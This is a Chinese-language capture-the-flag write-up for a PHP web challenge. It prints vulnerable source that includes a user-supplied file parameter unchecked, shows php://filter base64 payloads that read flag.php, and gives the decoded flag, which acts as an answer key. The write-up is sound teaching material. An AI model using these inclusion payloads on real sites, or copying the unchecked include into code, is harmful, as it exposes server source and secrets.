一、打开题目环境
内容:传入一个file
url后跟英文?号进行拼接
?file
返回结果为:
<?php //开始
ini_set("allow_url_include","on"); //打开状态
header("Content-type: text/html; charset=utf-8"); //类型
error_reporting(0); //屏蔽所有报错信息
$file=$_GET['file']; //获取file变量的值
if(isset($file)){ //if判断语句 file变量的值存在继续向下执行
show_source(FILE); //对文件进行高亮显示
echo 'flag 在flag.php中'; //输出字符串内容
}else{ //反之
echo "传入一个file试试"; //输出字符串内容
}
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
include_once($file); //在脚本执行期间包含并运行指定文件
?> flag 在flag.php中 //结束
二、解题思路
这里差不多了,咱们只看题目中的标签就可以PHP伪协议
进行PHP伪协议伪造
伪造之前先了解,PHP伪协议构造的规则
php://filter/过滤器|过滤器/resource=待过滤的数据流
web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode
构造后:
php://filter/convert.base64-encode/resource=flag.php
完整payload:
1. ?file=php://filter/convert.base64-encode/resource=flag.php
2. ?file=php://filter/read=convert.base64-encode/resource=flag.php
拆分解析:
?是起始符可以理解为连接拼接的意思
file是题目中给的变量
=是赋值的意思
php://filter是伪协议
convert转换,base64,encode编码
resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换为base64编码格式。
三、开始解题 拿flag
上传payload:
URL/?file=php://filter/read=convert.base64-encode/resource=flag.php(payload 1或2 都可以,不必纠结)
返回结果:
PD9waHANCiRmbGFnPSdOU1NDVEZ7ZDA0ZGFiYWUtYWJmNi00M2NkLWJkODgtZmEzOTBhZjE1YmJkfSc7
结果为base64编码,用base64编码解码工具进行解码
这里推荐工具:https://c.runoob.com/front-end/693/
解码后的结果为:
<?php
$flag='NSSCTF{d04dabae-abf6-43cd-bd88-fa390af15bbd}';
拿到flag:
NSSCTF{d04dabae-abf6-43cd-bd88-fa390af15bbd}